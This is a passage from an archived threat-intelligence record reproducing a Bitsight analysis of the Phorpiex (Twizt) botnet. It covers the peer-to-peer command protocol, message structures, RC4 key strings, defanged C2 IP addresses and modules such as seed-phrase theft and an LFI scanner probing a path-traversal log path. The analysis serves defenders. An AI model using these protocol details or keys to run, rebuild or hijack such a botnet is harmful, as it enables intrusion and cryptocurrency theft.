registered\r\ncommands.\"\r\nThis mechanism enables other bots to request commands they currently lack. The method by which the botnet\r\nshares executable commands will be detailed further in the sections covering the \"run commands message\" and\r\nthe \"communication flows.\"\r\nBecause the samples always share all the commands they know (by a command identifier), as far as we have seen,\r\nthe botnet operators always send a command with the same identifier (0) for it to replace the last command sent.\r\nRequest Command Information (2)\r\nThis message is very similar to the beacon message, but with the key difference being the message type field,\r\nwhich is set to 2 .\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 20 of 30\n\nThis indicates that the node has successfully read the RSA encrypted and signed information from the preceding\r\nInformation Sharing message and is now requesting a specific command it has not yet received.\r\nAs detailed below, the RSA data contains a command ID. This ID must be sent as the payload data in this\r\nmessage, essentially signalling: \"I am requesting command number X, which is new to me.\"\r\nFigure 13. Request command message format.\r\nRun Command (3)\r\nThis message type, set to 3 , is potentially the most complex one utilized by the botnet, containing all standard\r\nmessage fields.\r\nIts payload consists of a 256-byte RSA encrypted header , which can be decrypted using a key embedded within\r\nthe sample. This RSA data is identical to the data shared in the Information Sharing message.\r\nUpon decryption, a 20-byte RC4 Key is located at position 20 . This key is then used to decrypt the remainder\r\nof the payload, revealing the clear-text command.\r\nWhen a new command is received, it will overwrite any existing command that shares the same command ID. The\r\npriority field manages situations where the botnet intends to issue a command with an existing ID. If the new\r\ncommand's priority is higher, the bot will first request and execute the existing command, and then perform the\r\nreplacement with the new command.\r\nThe initial four bytes appear to serve no functional purpose; they are likely random data intended to ensure\r\ncommands remain distinct even when the payload content is the same.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 21 of 30\n\nFigure 14. Run command message format\r\nThe commands are delimited by the | character and begin with a single prefix letter, either d or u . Both\r\nprefixes relate to downloading new payloads from the Command and Control (C2) servers, but with distinct\r\nbehaviors:\r\nu (Update): The sample downloads and executes a single payload, after which the program terminates.\r\nThis mechanism is used for effectively updating the botnet.\r\nd (Download): The sample downloads and executes all payloads from the list of URLs that follow the\r\nprefix. The URLs in the list are also separated by the | character.\r\nUnfortunately, the files downloaded from these URLs follow the same structure as the ones downloaded from the\r\ncontinuous polling C2s with a 256-byte RSA encrypted and signed header . If the files were downloaded\r\ndirectly, commands could be reused to download other executable files and attempt a takedown.\r\nCommunication Flows\r\nThe botnet operates two different protocols at the same time to build even more resilience. While some operations\r\nare only performed via TCP , the botnet will continuously share nodes and command information through UDP\r\nas well.\r\nTCP Continuous Node Interaction\r\nThe bot initiates a continuous process in a new thread: it randomly selects a node from its known list and attempts\r\nto establish contact using a beacon message, then waits for a response.\r\nInitial Communication:\r\nThe first beacon message is sent with a payload of eight zero bytes ( 8 bytes of zeros) and no second node\r\nID.\r\nThis prompts the receiving peer to share its information, including node and all known command data.\r\nThe first bot's ID remains the primary node ID in this communication, but the second node ID is now\r\npopulated with the ID of the sharing peer.\r\nSimultaneously, the peer reverses the cycle and sends a beacon message requesting the first bot's\r\ninformation.\r\nNode List Update:\r\nThe bot updates its node list with the received information.\r\nIf a node is already present, its \"last seen\" timestamp is updated (calculated as seconds since 1980 minus\r\nthe seconds provided in the node update message).\r\nIf the node is new, it is added to the list, and the oldest node (the one seen the most time ago) is removed to\r\nmaintain the list size at 512 .\r\nCommand Information Sharing and Request:\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 22 of 30\n\nConcurrently with node list updates, the bot parses any shared command information.\r\nCommand information starts four bytes after the node information block. Any number of commands can be\r\nshared.\r\nThe node reads the data in 256-byte chunks.\r\nIt evaluates if a chunk contains a command with a new ID or a command with the same ID but a higher\r\npriority field.\r\nIf new or higher-priority command information is found, the evaluation cycle breaks, and the bot sends a\r\nrequest command information message with the corresponding command ID as the payload.\r\nCommand Execution Cycle:\r\nUpon receiving the request, the peer sends the full command information, which the bot then processes for\r\nexecution.\r\nFollowing execution, the bot sends a beacon message with the payload set to 2 .\r\nThis payload ( 2 , meaning non-zero) signals to the peer, \"I don't want more node data, only command\r\ninformation,\" triggering the peer to send a new information sharing message (excluding node data) so the\r\nbot can check for other commands of interest.\r\nIf the communication is not continued by the peer, the exchange stops.\r\nFigure 15. Sequence diagram for TCP P2P communication\r\nIf the bot received the communication instead of initiating it. The flow is exactly the same but mirrored.\r\nUDP Communication Flow\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 23 of 30\n\nThe bot initiates a parallel process using UDP . It contacts a random node, sending the same beacon message with\r\nall zeroes.\r\nGiven the asynchronous nature of UDP , the bot does not expect a continuous stream of messages.\r\nWhen a peer bot responds, it sends a standard information-sharing message containing the 16 most recently\r\nobserved nodes and all command data.\r\nSimilar to the TCP connection flow, the peer also sends a beacon message, but with the flag field set to 1. This\r\nshows the nature of this field, to signal that a communication is already happening when communicating over an\r\nasynchronous protocol like UDP .\r\nThis causes the originating bot to reply with an information-sharing message that contains no node or command\r\ndata.\r\nThe peer then processes this information, updating its internal node list only with the IP from which the UDP\r\npacket was received.\r\nIn response to the peer's initial information-sharing message, the bot reverts to the behavior observed in the TCP\r\nconnection setting. It processes the node information, updates its internal node list, and parses any command data.\r\nIf new command information is found, it does not use a request command message. Instead, it initiates a TCP\r\nconnection with that bot and sends a beacon message with the payload set to 2 .\r\nThis action allows the bot to bypass the initial node sharing phase and jump directly to the commands intended for\r\nexecution.\r\nFigure 16. Sequence diagram for UDP P2P communication\r\nPersistent configuration files\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 24 of 30\n\nPhorpiex creates two content files in the infected device to save important information in case the device is\r\nrestarted and the initial state is lost. The latest campaigns have the file names: Tbtnds.dat and tbtcmds.dat\r\nrespectively. Some other seen names for these files were: nodescfg.dat and cmdcfg.dat\r\nNode File\r\nThe sample begins by creating a node file containing a list of 512 embedded nodes. This file stores each node's\r\nIP address and a timestamp (since 1980), both in 4-byte binary format.\r\nThe sample invokes RtlTimeToSecondsSince1980 to generate timestamps associated with stored node IP\r\naddresses. This operation is observed in three distinct contexts:\r\nDirect Interaction: Immediately following successful communication with a peer, the sample calculates\r\nthe current timestamp to update the node's entry;\r\nNode List Synchronization: When processing a received node list, the sample derives the timestamp by\r\nreconciling the current time with the reporting node's 'last seen' delta (e.g., subtracting the reported elapsed\r\nseconds from the current system time);\r\nNode List Sharing: When creating an information sharing message the delta for when the last nodes were\r\nseen active is calculated by subtracting the current timestamp with the one stored in the internal data\r\nstructure for each of the 16 IPs shared.\r\nInitially, all timestamps are set to 0 , which is logical since the bot has not yet established contact with any node.\r\nThe bot maintains an internal structure mirroring this file. Upon receiving new node information, it updates this\r\ninternal structure and subsequently writes the changes to the file.\r\nFigure 17. Persistent node file update\r\nThis file enables the bot to restart and load the most current information it possesses regarding the active nodes\r\nbefore it went offline.\r\nCommand File\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 25 of 30\n\nThe Phorpiex bot loads commands from a binary file in an iterative process. It reads 256 bytes at a time,\r\ndecrypts the RSA information, and then extracts the actual command. This allows the bot to repeatedly load all\r\npreviously stored commands. When new command information is received, the file is updated (flushed) with the\r\nlatest data. However, the command information observed in the sample exhibits a more complex structure, defined\r\nas follows:\r\nstruct command_slot {\r\n undefined random_data[4];\r\n undefined command_id[4];\r\n undefined priority[4];\r\n undefined command_decrypted_length[4];\r\n undefined zeros[4];\r\n undefined rc4_key[20];\r\n undefined md6_hash[64];\r\n undefined remaining_data[152];\r\n undefined command_decrypted_pointer[4];\r\n undefined length_command_decrypted[4];\r\n undefined full_rsa_plus_command_pointer[4];\r\n undefined lengthfull_rsa_plus_command[4];\r\n};\r\nWith this structure the botnet can both execute the command and/or have the necessary raw information to share it\r\nwith peers if they request the information.\r\nWe have been able to collect 3 different botnet configurations that correspond, 1 to 1, to 3 different botnets that\r\nwere online at some point in time.\r\nConfiguration\r\nCommunication\r\nPort\r\nRC4 Key\r\nRSA Key\r\nExponent\r\nRSA Key Modulus\r\n(Shortened)\r\nConfig 1 40500 Twizt 65537 0xba3b6e30\r\nConfig 2 40555 twizt) 65537 0xa6e5d02b\r\nConfig 3 48755 twizt) 65537 0x9bdb9061\r\nKey Observations:\r\nRC4 Key Variation: The RC4 key used for symmetric encryption is similar across all configurations, but\r\nslightly different in the first one ( Twizt ) compared to the second and third ( twizt) ). This further\r\njustifies the theory of a single botnet operator.\r\nRSA Key Consistency: The RSA Key Exponent remains constant at 65537 across all three\r\nconfigurations, but this is to be expected as it is a common exponent for public keys.\r\nPort Numbers: The communication ports vary significantly ( 40500 , 40555 , and 48755 ).\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 26 of 30\n\nRSA Modulus: The RSA Key Modulus are unique for each configuration, indicating that a different\r\npublic/private key pair is used in each instance for asymmetric communication.\r\nTo note that any of these configurations cannot “talk” with each other. Considering that no information points to\r\nPhorpiex being sold within a MaaS ecosystem, it makes sense that only one botnet is being operated at a given\r\ntime.\r\nThrough a retrohunt performed with each key and by comparing file creation dates and first submission dates we\r\ncan estimate that all 3 configurations were online during September of 2021.\r\nWe could also see that configurations 2 and 3 don’t have any creation dates after September 2021 and only\r\nconfiguration 1 was seen with steady new releases that materialise through creation dates that date back to\r\nSeptember 2021 and keep going to the present day.\r\nConsidering that apparently the botnet was sold back in August 2021 it would make sense that initial testing of the\r\nnew bot along with its P2P capabilities would take place right after it was bought with only one botnet carrying on\r\nafter testing was complete. Interestingly, much of the message that was posted to announce the sale of the botnet\r\ngoes in line with our findings and proves that the methodology and techniques used have not changed much in 5\r\nyears.\r\nNote on creation timestamps: We understand that these can be manipulated and that they can be unreliable.\r\nHowever, considering that in the present day we see new samples of the botnet being dropped with compilation\r\ntimestamps that date back to minutes before we capture the first drop we took the leap of trusting these\r\ntimestamps because the threat actor has no record of altering them.\r\nFinally, it is possible to track overlapping infrastructure between all 3 configurations described above. We can see\r\nthat 185.215.113[.]66 served as both a node for configuration 3 and a URL for configuration 1 and that\r\n185.215.113[.]84 served as a delivery mechanism for configuration 1, a URL for configuration 2 and a post-infection download URL for configuration 3.\r\nOver the course of our monitorization, 178.16.54[.]104 is the standout central point of operations for the threat\r\nactor. This IP is present in all major campaigns described below and is used as the de facto URL for payload\r\ndownload for the most various payloads.\r\nThe continuous polling of URLs done by the botnet samples have had their URLs changed over the course of\r\ntime. 178.16.54[.]104 remains present in all samples with the following IPs having served other payloads\r\n195.178.136[.]19 , 176.46.158[.]64 , 194.38.20[.]95 , 91.92.243[.]29 (We have observed a shift in\r\noperation to this last IP serving most of the payloads).\r\nAdditionally, the resilience of the botnet comes from the decentralized infrastructure supported by its P2P\r\nprotocol. While the infrastructure is decentralized, the threat actor needs access to this infrastructure if it wishes to\r\ndeploy commands.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 27 of 30\n\nFigure 18. Cloud Graph Showing Most Active Nodes\r\nFrom our analysis, it is likely that the bot-masters also operate two different instances that create this access and\r\nallow for redundancy while being controlled by themselves.\r\nThe two IPs are 146.70.53[.]161 and 216.107.138[.]162 which are present in VPS hosting services and have\r\nbeen around since 2024 with clear connections to botnet samples.\r\nIn our hypothesis, these two servers are also controlled by the attacker and are placed in different locations than\r\nthe C2 URLs for redundancy purposes. Other IPs seen are mostly from telecommunication providers and are most\r\nlikely residential victims that have their devices serving as C2s because of the exploitation seen within the UPnP\r\nprotocol.\r\nThe two main servers discussed are most likely running custom C2 software from where the threat actors initiate\r\nthe distribution of commands through the botnet.\r\nOver the current tracking of this botnet, Bitsight has seen several different modules downloaded through the\r\ncontinuous polling of HTTP URLs highlighted before.\r\nUninstaller module\r\nOne dropped component is an uninstaller module designed to remove previous installations of the botnet.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 28 of 30\n\nWe believe this module was used by older iterations of the botnet that did not have the update capability and as\r\nsuch a download and a cleaning operation had to be performed on the device before the botnet sample was\r\nreplaced in the target system.\r\nBIP-39 mnemonic phrase exfiltration\r\nAnother element of the cryptocurrency hijacking feature is a module that continuously monitors both the clipboard\r\nand local drive files. Its purpose is to detect and exfiltrate BIP-39 mnemonic phrases to a Command and Control\r\n(C2) server.\r\nBIP-39 mnemonic phrases are a standard for generating a 12 to 24-word recovery phrase to back up crypto\r\nwallets. Using a specific, ordered list of 2048 English words, they turn complex binary keys into human-readable,\r\nportable, and secure backups, allowing for universal wallet recovery.\r\nThis capability allows the attacker to steal cryptocurrency by recovering the associated private key.\r\nFile injector for propagation\r\nThe samples also drop the program responsible for creating the infected files that deploy Phorpiex. This injector\r\niterates over all files on the system, infecting user executable files to further spread the infection.\r\nThis module can create both 64 bit and 32 bit modified MZ files that have the .zero section and will\r\ndownload the Loader portion of the infection chain.\r\nGeneric loader\r\nA generic loader, notably similar to those used for dropping the botnet executable, was also observed delivering an\r\nXMRIG crypto miner. The main distinction is the absence of telemetry URLs in this miner-related loader.\r\nTelemetry payload\r\nA payload that simply queried an endpoint was found and would indicate a global telemetry counter that keeps\r\ntrack of infected devices no matter what the delivery method (loader) was.\r\nThis payload has also been seen dropped by the botnet component which indicates the attackers trying to keep\r\ntrack of the current active nodes count.\r\nLFI vulnerability scanner\r\nThe botnet has been observed deploying a sample that systematically searches for Local File Inclusion (LFI)\r\nvulnerabilities.\r\nThis is achieved by generating random IP addresses and then bruteforcing scans across numerous common paths,\r\nsuch as ../../../../../../apache/logs/access.log .\r\nThe sample would then report back the vulnerable endpoints to a PHP endpoint on the C2 server.\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 29 of 30\n\nAside from capturing the payload we also saw this scanning hit our honeypot infrastructure and confirmed that the\r\nIPs performing such scans also show in our infection telemetry.\r\nBotnet commands\r\nThe commands that can be sent through the botnet have not seen major activity. They are mostly used to deploy\r\nbotnet updates and have also dropped the same telemetry payload explained above.\r\nThis is to be expected as the main C2 URL infrastructure has not changed or gone down during our tracking.\r\nPhorpiex remains a powerful and persistent example of an adaptive threat actor infrastructure, showing a decade-long evolution culminating in a sophisticated hybrid P2P architecture and multi-stage monetization throughout\r\n2025. It shifted from a pure spam botnet to an effective loader for major ransomware strains (like LockBit Black\r\nand Global), demonstrating a sophisticated, profit-driven operational model alongside active crypto-clipping and\r\nsextortion campaigns.\r\nThe botnet's technical resilience is high, utilizing encrypted command headers, dynamic P2P node sharing, anti-takeover measures, and worm-like propagation tactics to bypass firewalls and reconfigure routers via UPnP,\r\nensuring persistence and expansion. Phorpiex is a continuously modernizing platform that serves as a flexible\r\ndistribution mechanism for a variety of high-impact cybercrimes, confirmed by high daily infection volumes and\r\nsuccessful, geolocated ransomware deployments. The threat actors are actively experimenting with campaign\r\ndeployment, using initial low-impact probes before launching full-scale, high-value operations.\r\nAll IOCs from downloaded samples and crypto currency wallets can be found here.\r\nFor a consistent view over all Phorpiex drops you can follow the tag “dropped-by-phorpiex” on Malware Bazaar.\r\nSource: https://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nhttps://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet\r\nPage 30 of 30",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.bitsight.com/blog/ransomware-twizt-inside-phorpiex-botnet"
	],
	"report_names": [
		"ransomware-twizt-inside-phorpiex-botnet"
	],
	"threat_actors": [],
	"ts_created_at": 1778032982,
	"ts_updated_at": 1778033032,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/bfb5010d1ae8f3db0e85f6a7d07a1f9ec4e2e375.pdf",
		"text": "https://archive.orkl.eu/bfb5010d1ae8f3db0e85f6a7d07a1f9ec4e2e375.txt",
		"img": "https://archive.orkl.eu/bfb5010d1ae8f3db0e85f6a7d07a1f9ec4e2e375.jpg"
	}
}